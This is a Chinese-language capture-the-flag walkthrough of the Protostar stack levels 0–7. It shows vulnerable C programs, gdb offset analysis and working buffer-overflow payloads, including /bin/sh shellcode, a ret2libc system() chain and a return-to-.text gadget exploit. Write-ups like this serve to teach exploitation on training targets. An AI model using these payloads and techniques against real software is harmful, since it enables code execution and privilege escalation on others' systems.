protostar通关指南——stack系列
继续上一个系列nebula的升级版:protostar
stack 0
这个题是最简单的栈溢出,目的是让大家明白栈溢出可以修改内存中的变量。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
可以看到局部变量有两个,一个是int
类型,另一个是char
数组,通常情况下,两个变量在栈中是这个样子的。
buff
buff
buff
buff
...
buff
modified
所以我们输入64个junk byte
,然后加个1就可以把modified
覆盖成1了。
payload:
12341234123412341234123412341234123412341234123412341234123412341111
stack 1
基本上和上一题一样,目的是让我们区分大小端,从代码中可以看到,这里比较的是modified
和0x61626364
,即abcd
,但是要进行大小端转换,输入的abcd
在内存中会变成dcba
,所以为了得到到abcd
,需要输入dcba
。
payload:
$ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba
stack 2
代码同样没有多大改变,只是从环境变量中读取内容,最后出现了不可见字符,直接输入是不可能了,借助一下python
,pyload
如下:
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
stack 3
这里代码变化较大:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
这个题的目的是让我改掉EIP
,这里提供了一个函数指针,所以只要将这个函数指针的地址覆盖为win()
的地址就可以了,免去了覆盖返回地址的问题。首先通过objdump
获取win()
的地址。
user@protostar:/opt/protostar/bin$ objdump -d stack3
....
08048424 <win>:
8048424: 55 push %ebp
8048425: 89 e5 mov %esp,%ebp
8048427: 83 ec 18 sub $0x18,%esp
804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp)
8048431: e8 2a ff ff ff call 8048360 <puts@plt>
8048436: c9 leave
8048437: c3 ret
....
多余部分这里略去了,可以看到win()
函数的地址是0x08048424
,但是由于大小端问题,需要变成0x24840408
,然后可以构造出payload
:
user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
stack 4
这一题变成了正常的栈溢出问题了,需要覆盖返回地址。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
同样的先来确定win()
函数的地址:
user@protostar:/opt/protostar/bin$ objdump -d stack3
...
080483f4 <win>:
80483f4: 55 push %ebp
80483f5: 89 e5 mov %esp,%ebp
80483f7: 83 ec 18 sub $0x18,%esp
80483fa: c7 04 24 e0 84 04 08 movl $0x80484e0,(%esp)
8048401: e8 26 ff ff ff call 804832c <puts@plt>
8048406: c9 leave
8048407: c3 ret
...
这里略去多余部分。直接构造payload:
user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | ./stack4
code flow successfully changed
Segmentation fault
至于为啥要填充76
个字节,用gdb
调试一下就知道了,也可以使用pattern.py
进行测试。
stack 5
到这里已经几乎是真实环境了,这里需要自己填充shellcode
了,从网上找一个执行/bin/sh
的shellcode
吧,当然需要对应环境,下面这个是最简单的execve("/bin/sh")的命令
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
这里还是推荐使用zio
或者pwntools
之类的东西。然而这是Debian 6.0,装个pwntools还要折腾。
首先确定溢出点:
user@protostar:~$ python pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
user@protostar:/opt/protostar/bin$ gdb ./stack5
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run
Starting program: /opt/protostar/bin/stack5
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x63413563
hex pattern decoded as: c5Ac
76
确定了偏移量是76
。这样构造'A'*76+retAddress
即可。下面来找返回地址,建议通过core dump
来寻找。
user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'BBBB'" | ./stack5
Segmentation fault (core dumped)
如果没有生成core dump
文件,可能需要修改/proc/sys/fs/suid_dumpable
的值。
user@protostar:/opt/protostar/bin$ gdb ./stack5 /tmp/core.11.stack5.4833
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/10s $esp-80
0xbffff7b0: "ABCD", 'A' <repeats 110 times>
0xbffff823: ""
0xbffff824: "`\370\377\277&\006\377\267\260\372\377\267(\033\376\267\364\177", <incomplete sequence \375\267>
0xbffff839: ""
0xbffff83a: ""
0xbffff83b: ""
0xbffff83c: ""
0xbffff83d: ""
0xbffff83e: ""
0xbffff83f: ""
因为溢出点在76字节处,还需要增加4个字节的返回地址,所以buffer的地址是76+4=80字节处,所以地址为0xbffff7b0
。然后就可以写payload了。
ret = 0xbffff7b0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (76 - len(shellcode)) + struct.pack("<I",ret)
搞定,如果觉得PWN
完了没有效果,可以尝试下面这个shellcode
,下面这个会打印出一个字符串。
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80
stack 6
这题目难度比前面几个增加了一点,限制了返回地址,提示了好几种方法,包括ret2libc, ROP
等。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
溢出点很容易找到,就是那个gets()
导致了溢出。首先来找偏移量吧。
user@protostar:/opt/protostar/bin$ python /home/user/pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
user@protostar:/opt/protostar/bin$ gdb ./stack6
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136
hex pattern decoded as: 6Ac7
80
偏移量是80,所以我们需要构造'A'*80+retAddress
这样的字符串,下面寻找返回地址。
user@protostar:/opt/protostar/bin$ ./stack6
input path please: ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
got path ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
user@protostar:/opt/protostar/bin$ gdb -q ./stack6 /tmp/core.11.stack6.5674
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/10x $esp-84
0xbffff79c: 0x44434241 0x41414141 0x41414141 0x41414141
0xbffff7ac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7bc: 0x41414141 0x41414141
得到了返回地址0xbffff79c
,如果返回到这个地址的话,看起来好像绕不过限制,先试一下。
import struct
shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
ret = 0xbffff79c
payload = shellcode + 'A' * (80-len(shellcode)) + struct.pack("<I",ret)
print payload
结果:
user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6
input path please: bzzzt (0xbffff79c)
还是直接ret2libc
吧,我们需要重新构造我们的payload
:
| Junk Code | system_addr | ret | bin/sh addr |
其中ret
为system
函数执行完的返回地址,需要注意一下。
先来找system
函数和/bin/sh
字符串的地址:
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **),
void (*)(void), void (*)(void), void *)} 0xb7eadb90 <__libc_start_main>
(gdb) find 0xb7eadb90, +2200000, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fba23f
0xb7fba23f: "KIND in __gen_tempname\""
这里找到了system()
函数的地址:0xb7ecffb0
遇到了奇葩的问题,没有找到/bin/sh
字符串,那就放到环境变量里吧。
user@protostar:~$ export BINSH="/bin/sh"
user@protostar:~$ echo $BINSH
/bin/sh
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr BINSH ./stack6
BINSH will be at 0xbfffff88
getenvaddr
的源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
}
到这里已经可以构造payload了。
import struct
exit_addr = 0xb7ec60c0
binsh_addr = 0xbfffff88
system_addr = 0xb7ecffb0
payload = 'A' * 80 + struct.pack("<I", system_addr) + struct.pack("<I", exit_addr) + struct.pack("<I", binsh_addr)
print payload
其实是打成功了,主要是suid
的权限会被system
丢弃,所以看起来没啥反应,大家可以把system
的参数换掉试试。
user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췈ÿÿ¿
user@protostar:/opt/protostar/bin$
效果如下:
user@protostar:/opt/protostar/bin$ echo $BINSH
echo hello
... 修改payload ...
user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췅ÿÿ¿
hello
stack 7
这个题把返回地址限制的更死了,只要是0xb*
就会被ban
掉。
题目提示是return
到.text
端,并且提示了一个工具,可以试一下。先把前期的准备工作做好。
user@protostar:/opt/protostar/bin$ gdb ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r
Starting program: /opt/protostar/bin/stack7
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136
hex pattern decoded as: 6Ac7
80
这里我们可以找到一个在.text段,代码是pop xxx; ret
之类的地方即可。先随便找一个,通过objdump
就可以了。
80485f7: 5b pop %ebx
80485f8: 5d pop %ebp
80485f9: c3 ret
就这里吧,payload
大概应该是这个样子:
'A'*80 + p32(0x080485f7) + junk*8 + shellcode_addr
写起来试试:
import struct
shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0"
shellcode += "\x04\xb3\x01\x68\x64\x21\x21\x21\x68"
shellcode += "\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd"
shellcode += "\x80\xb0\x01\x31\xdb\xcd\x80"
jump_addr = 0x080485f7
shellcode_addr = 0xbffff79c
payload = shellcode + 'A' * (80-len(shellcode))
payload += struct.pack("<I", jump_addr) + 'B' * 8
payload += struct.pack("<I", shellcode_addr)
看看结果:
user@protostar:/opt/protostar/bin$ python ~/stack7-exp.py | ./stack7
input path please: got path 1ᄆٱDZҰ³hd!!!hOwǹ°1܍AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Owned!!!
到这里stack环节就结束了,进入下一个环节。
Crawlergo
Crawlergo
Crawlergo